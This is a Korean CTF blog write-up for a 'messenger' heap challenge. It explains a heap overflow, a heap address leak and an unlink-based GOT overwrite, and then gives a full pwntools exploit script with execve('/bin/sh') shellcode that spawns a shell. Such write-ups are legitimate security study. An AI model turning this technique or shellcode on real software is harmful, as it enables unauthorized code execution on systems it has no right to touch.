간략히 기능에 대해 설명하자면,
LeaveMsg : 사용자에게 32byte 이내의 크기만큼 힙에 할당하고, 데이터를 입력받는다.(malloc)
RemoveMsg : free() 함수 와 비슷하다고 보면 된다.
ChangeMsg : Msg 를 수정할 수 있는데 이 때 크기를 검증하지 않아서 overflow 가 터진다.
ViewMsg : 사용자에게 입력받은 데이터를 보여준다.
힙을 보면 size | fd | bk | data 와 같은 구조를 가지고 있다.
LeaveMsg(2번) -> ChangeMsg -> ViewMsg 를 통해 Heap 주소를 릭 할 수 있다.
RemoveMsg 에서 sub_400b2d() 함수로 가면 그 부분이 unlink 와 비슷한 기능을 하는 것을 알 수 있다.
따라서, ChangeMsg 를 통해 index 0 에서는 index 1 의 fd, bk 를 각각 exit@got 주소와 릭한 heap 주소를 넣고, index 1 에서는 shellcode 를 넣어서 exploit 하면 된다.
// exploit 코드가 더러움.... 담부터는 더 간략히 하도록 해야겠다..
# exploit.py
from pwn import *
import hexdump
p = process('./messenger')
binary = ELF('./messenger')
print p.recvuntil('>>')
def LeaveMsg(size, msg):
p.sendline('L')
print p.recvuntil('size : ')
p.sendline(str(size))
print p.recvuntil('msg : ')
p.sendline(str(msg))
print p.recvuntil('>>')
def RemoveMsg():
p.sendline('R')
print p.recvuntil('index : ')
p.sendline('1')
print p.recvuntil('>>')
def ChangeMsg(size, index, msg):
p.sendline('C')
print p.recvuntil('index : ')
p.sendline(str(index))
print p.recvuntil('size : ')
p.sendline('32')
print p.recvuntil('msg : ')
p.sendline(str(msg))
print p.recvuntil('>>')
def ViewMsg():
global heap
p.sendline('V')
print p.recvuntil('index : ')
p.sendline('0')
data = p.recvuntil('>>')
#hexdump.hexdump(data)
if data[35:36] == '\x0a':
heap = u32(data[32:35] + str('\x00'))
print data
log.info('heap address = ' + hex(heap))
else:
heap = u32(data[32:36])
log.info('heap address = ' + hex(heap))
print data
def exploit():
jmp_shellcode = asm("push "+hex(heap),arch='amd64',os='linux')
jmp_shellcode += asm("ret",arch='amd64',os='linux')
shellcode = '\x90'*20 + "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
payload = '\x90'*8 + jmp_shellcode + '\x90'*6 + shellcode
# ChangeMsg index 0
exit_got = binary.got['exit']
msg = 'A'*32 + p64(exit_got - 0x10) + p64(heap-0x10)
p.sendline('C')
print p.recvuntil('index : ')
p.sendline('0')
print p.recvuntil('size : ')
p.sendline('49')
print p.recvuntil('msg : ')
p.sendline(msg)
print p.recvuntil('>>')
# ChangeMsg index 1
p.sendline('C')
print p.recvuntil('index : ')
p.sendline('1')
print p.recvuntil('size : ')
p.sendline('100')
print p.recvuntil('msg : ')
p.sendline(payload)
print p.recvuntil('>>')
# RemoveMsg
p.sendline('R')
print p.recvuntil('index : ')
p.sendline('1')
print p.recvuntil('>>')
p.sendline('Z')
p.interactive()
if __name__ == '__main__':
LeaveMsg(8, 'AAAA')
LeaveMsg(8, 'BBBB')
ChangeMsg(32, 0, 'A'*31)
ViewMsg()
exploit()
'ctf' 카테고리의 다른 글
[HITCON 2016 CTF] Secret Holder (0) | 2017.03.10 |
---|---|
[CodeGate 2017 CTF] angrybird (0) | 2017.02.22 |
[CodeGate 2017 CTF] babypwn (0) | 2017.02.22 |
[pwnable.tw] start (0) | 2017.02.06 |
[Christmas 2016 CTF] solo (0) | 2017.02.04 |